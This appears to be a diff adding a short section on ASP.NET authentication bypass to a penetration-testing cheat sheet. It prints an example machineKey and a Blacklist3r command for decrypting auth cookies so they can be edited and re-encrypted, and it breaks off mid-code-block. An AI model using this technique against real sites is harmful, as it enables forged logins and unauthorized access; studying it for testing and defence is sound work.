+### Auth Bypass using pre-published Machine Key
+
+> By default, ASP.NET creates a Forms Authentication Ticket with unique a username associated with it, Date and Time at which the ticket was issued and expires. So, all you need is just a unique username and a machine key to create a forms authentication token
+
+That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
+
+Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
+
+```xml
+<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
+```

+Exploit with [Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)

+```powershell
+# decrypt cookie
+$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
+
+# encrypt cookie (edit Decrypted.txt)
